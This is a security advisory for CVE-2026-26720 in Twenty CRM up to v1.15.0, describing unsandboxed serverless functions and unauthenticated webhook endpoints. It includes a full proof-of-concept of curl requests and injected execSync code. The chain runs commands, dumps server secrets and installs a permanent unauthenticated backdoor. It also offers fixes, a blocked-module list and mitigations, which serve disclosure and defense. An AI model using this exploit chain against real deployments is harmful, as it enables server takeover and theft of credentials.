Wed 15 April 2026
Exploit CVE-2026-26720
Authenticated RCE via Unsandboxed Serverless Functions → Permanent Unauthenticated Backdoor
March 3, 2026 · CVSS 9.8 Critical · Twenty CRM ≤ v1.15.0
| CVE ID | CVSS | Affected | Fixed |
|---|---|---|---|
| CVE-2026-26720 | 9.8 Critical | Twenty CRM ≤ v1.15.0 | Twenty CRM v1.15.1 |
Twenty CRM is an open-source CRM platform with 28k+ GitHub stars and a managed cloud offering. It lets workspace members create "serverless functions" — custom TypeScript code that runs on the server. The problem: these functions execute in a bare child_process.spawn() with no sandbox, no code restrictions, and full inheritance of the parent process environment. What follows is a breakdown of how any authenticated user — including a freshly self-registered account on the cloud — can achieve full server-side RCE, exfiltrate every secret on the server, and install a permanent backdoor that requires zero authentication to trigger.
CVE-2026-26720 Executive Summary: Unsandboxed Serverless Function Execution
CVE-2026-26720 is a chain of three vulnerabilities in Twenty CRM that together produce a CVSS 9.8 Critical impact:
-
Unsandboxed Code Execution — Serverless functions run via
spawn(process.execPath, ...)with{ ...process.env, ...env }, giving user-supplied code full access tochild_process,fs,net, and every server environment variable (APP_SECRET,PG_DATABASE_URL,REDIS_URL). -
No Code Validation — The
updateOneServerlessFunctionmutation accepts arbitrary TypeScript code with zero static analysis, AST restrictions, or module import blocklists.execSync,spawn,fs.readFileSync— all permitted. -
Unauthenticated Webhook Endpoint — The
POST /webhooks/workflows/:workspaceId/:workflowIdendpoint is guarded byPublicEndpointGuardandNoPermissionGuard, both of which unconditionally returntrue. Once an attacker wires a malicious serverless function to a webhook-triggered workflow, any HTTP client on the internet can trigger it with zero credentials forever.
Impact: Full remote code execution. Any workspace member (including self-registered cloud accounts) can exfiltrate all server secrets, access the database directly, read/write the filesystem, and install a permanent unauthenticated backdoor — all through intended product features with zero exploit complexity.
Vulnerability #1: Unsandboxed Code Execution with Full Environment Inheritance
The Sink — local.driver.ts line 288
The core vulnerability is in the serverless function execution engine. When a function is executed, the LocalDriver spawns a child Node.js process:
// packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets passed to child
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
process.env is spread directly into the child process environment. This means every secret available to the Twenty server process — APP_SECRET, PG_DATABASE_URL, REDIS_URL, cloud provider credentials, SMTP passwords — is accessible to user-supplied code via process.env.
There is no sandbox. No vm2, no isolated-vm, no Docker container, no restrictive seccomp profile. The child process runs as the same OS user as the server, with the same filesystem access, the same network access, and the same credentials.
No Import Restrictions
The updateOneServerlessFunction mutation accepts arbitrary TypeScript code and compiles it without restriction:
// packages/twenty-server/src/engine/metadata-modules/serverless-function/serverless-function.resolver.ts
@Mutation(() => ServerlessFunctionDTO)
@UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS))
async updateOneServerlessFunction(
@Args('input') input: UpdateServerlessFunctionInput,
@AuthWorkspace() { id: workspaceId }: WorkspaceEntity,
) {
return await this.serverlessFunctionService.updateOneServerlessFunction(
input, // <-- attacker-controlled code, no validation
workspaceId,
);
}
The guard is SettingsPermissionGuard(PermissionFlagType.WORKFLOWS) — any workspace member with the WORKFLOWS permission (granted by default to all members) can create and execute arbitrary code on the server. There is no AST analysis, no blocklist of dangerous modules (child_process, fs, net, os), and no content-security restriction.
Environment Leakage Path
Authenticated user
|
createOneServerlessFunction (GraphQL mutation)
|
updateOneServerlessFunction (inject code: execSync("id"))
|
executeOneServerlessFunction (GraphQL mutation)
|
serverlessFunctionService.execute()
|
LocalDriver.execute()
|
LocalDriver.runChildWithEnv()
|
spawn(process.execPath, [runnerPath], { env: { ...process.env } })
|
User code runs with ALL server secrets in process.env
|
RCE + full secret exfiltration
Vulnerability #2: Permanent Unauthenticated Backdoor via Webhook Endpoint
The Entry Point — No Authentication at Any Layer
The webhook trigger controller exposes workflow execution to the internet with zero authentication:
// packages/twenty-server/src/engine/core-modules/workflow/controllers/workflow-trigger.controller.ts
@Controller('webhooks')
export class WorkflowTriggerController {
@Post('workflows/:workspaceId/:workflowId')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH
async runWorkflowByPostRequest(
@Param('workspaceId') workspaceId: string,
@Param('workflowId') workflowId: string,
@Req() request: Request,
) {
return await this.runWorkflow({
workflowId,
payload: request.body || {},
workspaceId,
});
}
}
Both guards unconditionally return true:
// packages/twenty-server/src/engine/guards/public-endpoint.guard.ts
@Injectable()
export class PublicEndpointGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // Always allow access
}
}
// packages/twenty-server/src/engine/guards/no-permission.guard.ts
@Injectable()
export class NoPermissionGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // No permission checks
}
}
No token. No signature. No IP allowlist. No rate limiting on the webhook endpoint. Once an authenticated user creates a webhook-triggered workflow pointing to a malicious serverless function, the resulting URL is a permanent unauthenticated RCE endpoint:
POST /webhooks/workflows/<workspaceId>/<workflowId>
Additional Unauthenticated Vector: RouteTriggerController
A second unauthenticated controller exposes the same risk surface:
// packages/twenty-server/src/engine/metadata-modules/route-trigger/route-trigger.controller.ts
@Controller('s')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH on entire controller
export class RouteTriggerController {
@Post('*path')
async post(@Req() request: Request) {
return await this.routeTriggerService.handle({
request, httpMethod: HTTPMethod.POST,
});
}
}
If a RouteTrigger exists with isAuthRequired: false, any HTTP request to /s/<path> directly executes the linked serverless function with zero authentication.
CVE-2026-26720 Proof-of-Concept: Full Remote Code Execution
The complete attack chain — from authenticated workspace member to full server compromise and permanent unauthenticated backdoor — requires 7 HTTP requests. Every step was confirmed against Twenty CRM v1.15.0 in a controlled lab environment.
Lab Setup
Twenty CRM v1.15.0 running locally with default configuration:
# docker-compose equivalent
services:
twenty-server:
image: twentycrm/twenty:v1.15.0
ports:
- "3000:3000" # API
- "3001:3001" # Frontend
environment:
APP_SECRET: "replace_me_with_a_random_string"
PG_DATABASE_URL: "postgres://postgres:postgres@localhost:5432/default"
REDIS_URL: "redis://localhost:6379"
Prerequisites
A valid workspace member account. On Twenty Cloud, this is any registered user. On self-hosted, any invited member. The JWT token used below belongs to user tim@apple.dev in workspace 2782b9df-....
Step 1: Create Serverless Function (Authenticated)
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation CreateFn($input: CreateServerlessFunctionInput!) {
createOneServerlessFunction(input: $input) { id name }
}",
"variables": { "input": { "name": "pwn-rce" } }
}'
{
"data": {
"createOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
Step 2: Inject Malicious Code (Authenticated)
The injected code imports child_process.execSync and dumps the full server environment:
import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
const cmd = params?.command ?? 'id && hostname';
const out = execSync(String(cmd)).toString();
const env = JSON.stringify(process.env);
return { out, env };
};
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation UpdateFn($input: UpdateServerlessFunctionInput!) {
updateOneServerlessFunction(input: $input) { id name }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"update": {
"name": "pwn-rce",
"code": {
"src/index.ts": "import { execSync } from '\''child_process'\'';\nexport const main = async (params: any): Promise<object> => {\n const cmd = params?.command ?? '\''id && hostname'\'';\n const out = execSync(String(cmd)).toString();\n const env = JSON.stringify(process.env);\n return { out, env };\n};"
}
}
}
}
}'
{
"data": {
"updateOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
No validation. No AST check. No blocked imports. The code is accepted and stored as-is.
Step 3: Execute — Authenticated RCE Confirmed
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation ExecFn($input: ExecuteServerlessFunctionInput!) {
executeOneServerlessFunction(input: $input) { data logs status error }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"payload": { "command": "id && hostname && cat /etc/passwd | head -5" },
"version": "draft"
}
}
}'
Response — data.out (OS command output):
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Response — data.env (all server secrets exfiltrated):
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
Authenticated RCE confirmed — full command execution and complete server environment exfiltration. Any workspace member with WORKFLOWS permission (default for all members) can execute this.
Step 4-6: Install Permanent Unauthenticated Backdoor
With authenticated access, the attacker now creates a webhook-triggered workflow wired to the malicious serverless function:
Step 4 — Create workflow + set WEBHOOK trigger:
# Create workflow
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { createWorkflow(data: { name: \"pwn-webhook\" }) { id name } }"}'
{"data":{"createWorkflow":{"id":"52ecef24-026d-48b0-a64b-8276570e25dd","name":"pwn-webhook"}}}
Step 5 — Add CODE step pointing to malicious function, wire trigger, publish function:
# Publish serverless function
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { publishServerlessFunction(input: { id: \"679110bc-1536-4349-82c7-2a5706cc6a49\" }) { id publishedVersions } }"}'
{"data":{"publishServerlessFunction":{"id":"679110bc-1536-4349-82c7-2a5706cc6a49","publishedVersions":["1"]}}}
The workflow version is configured with a WEBHOOK trigger type, a CODE step referencing the malicious function, and an edge wiring trigger → step.
Step 6 — Activate workflow:
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { activateWorkflowVersion(workflowVersionId: \"b4c8976f-dcb8-47ab-af50-2d20414577e6\") }"}'
{"data":{"activateWorkflowVersion":true}}
Step 7: Unauthenticated RCE — Zero Credentials Required
The backdoor is now permanently active. Any HTTP client on the internet can trigger it:
# NO Authorization header — completely unauthenticated
curl -s -X POST \
"http://localhost:3000/webhooks/workflows/2782b9df-4dd8-4deb-9f81-e60020b6d78f/52ecef24-026d-48b0-a64b-8276570e25dd" \
-H "Content-Type: application/json" \
-d '{"command": "id && whoami && cat /etc/passwd | head -5"}'
Immediate response (no auth check):
{
"workflowName": "pwn-webhook",
"success": true,
"workflowRunId": "ccdfb94d-1566-44f2-a5ce-ab0222fffab3"
}
Workflow run result (from server logs / database):
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Server secrets (same full dump — all exfiltrated via unauthenticated request):
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
Full command execution achieved — zero authentication required. The webhook URL is a permanent backdoor: no token, no signature, no expiry. Once created, it persists until the workflow is manually deleted.
Attack Surface Analysis
Who Can Exploit This?
| Deployment | Initial Access | Exploit? |
|---|---|---|
| Self-hosted (multi-workspace) | Any registered user | Yes — full server compromise |
| Self-hosted (single-workspace) | Any invited workspace member | Yes — privilege escalation from member to full server control |
Impact Chain
Workspace member (low privilege)
↓
Create serverless function ← intended feature, no exploit needed
↓
Inject execSync / spawn code ← no validation, no sandbox
↓
Execute function ← runs as server user, inherits process.env
↓
Exfiltrate APP_SECRET, ← full secret dump
PG_DATABASE_URL, REDIS_URL
↓
Direct database access ← read/modify all workspaces, all tenants
↓
Create webhook workflow ← permanent unauthenticated backdoor
↓
Any internet client fires webhook ← zero auth, zero credentials, forever
How to Fix CVE-2026-26720
Three independent fixes are required to fully remediate this vulnerability chain:
Fix 1: Sandbox Serverless Function Execution
The serverless function runtime must be isolated from the host process. The child process should never inherit the parent's environment variables.
// BEFORE (vulnerable): full environment inheritance
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets leaked
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
// AFTER (fixed): isolated environment — only explicit variables
const child = spawn(process.execPath, [runnerPath], {
env: {
NODE_PATH: process.env.NODE_PATH,
PATH: process.env.PATH,
...env, // only workspace-specific vars
},
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
For defense in depth, execute functions in an isolated container (Docker/gVisor/Firecracker) with:
- Read-only filesystem (except
/tmp) - No network access to internal services
- CPU/memory limits
- Separate unprivileged user
Fix 2: Validate Serverless Function Code
Implement a blocklist or allowlist for Node.js module imports before compilation:
const BLOCKED_MODULES = [
'child_process', 'cluster', 'dgram', 'dns', 'net',
'tls', 'vm', 'worker_threads', 'fs', 'os',
];
// Parse AST and reject any import/require of blocked modules
Fix 3: Authenticate Webhook Endpoints
The webhook trigger endpoint must require authentication — at minimum a per-workflow HMAC signature:
// BEFORE (vulnerable): no authentication
@UseGuards(PublicEndpointGuard, NoPermissionGuard)
// AFTER (fixed): require webhook signature
@UseGuards(WebhookSignatureGuard)
async runWorkflowByPostRequest(...)
Each webhook-triggered workflow should have a unique secret, and incoming requests must include a valid X-Webhook-Signature header. Requests without a valid signature must be rejected with 401.
CVE-2026-26720 Mitigation and Best Practices
- Update Immediately when a patched version is released. Monitor the Twenty CRM GitHub repository and changelog.
- Restrict Serverless Functions — If your deployment does not require custom serverless functions, disable the feature entirely or restrict the WORKFLOWS permission to admin-only.
- Audit Existing Functions — Review all serverless functions in your workspace for suspicious imports (
child_process,fs,net). Check_metadata.serverlessFunctiontable in your workspace schema. - Firewall Webhook Endpoints — Block external access to
/webhooks/workflows/*and/s/*at the reverse proxy level until a fix is available. - Rotate Secrets — If your instance has been publicly accessible with serverless functions enabled, assume all environment variables have been compromised. Rotate
APP_SECRET, database credentials, Redis credentials, SMTP passwords, and any API keys. - Monitor Workflow Activity — Audit the
workflowRuntable for unexpected executions, especially those withsource: WEBHOOKand no corresponding legitimate integration.
References
| Resource | Link |
|---|---|
| Twenty CRM GitHub | https://github.com/twentyhq/twenty |
| Twenty CRM v1.15.0 Release | https://github.com/twentyhq/twenty/releases/tag/v1.15.0 |
| NestJS Guards Documentation | https://docs.nestjs.com/guards |
| OWASP — Injection | https://owasp.org/Top10/A03_2021-Injection/ |
| CWE-94: Code Injection | https://cwe.mitre.org/data/definitions/94.html |
| CWE-250: Execution with Unnecessary Privileges | https://cwe.mitre.org/data/definitions/250.html |
Table of Contents
- CVE-2026-26720 Executive Summary: Unsandboxed Serverless Function Execution
- Vulnerability #1: Unsandboxed Code Execution with Full Environment Inheritance
- Vulnerability #2: Permanent Unauthenticated Backdoor via Webhook Endpoint
- CVE-2026-26720 Proof-of-Concept: Full Remote Code Execution
- Attack Surface Analysis
- How to Fix CVE-2026-26720
- CVE-2026-26720 Mitigation and Best Practices
- References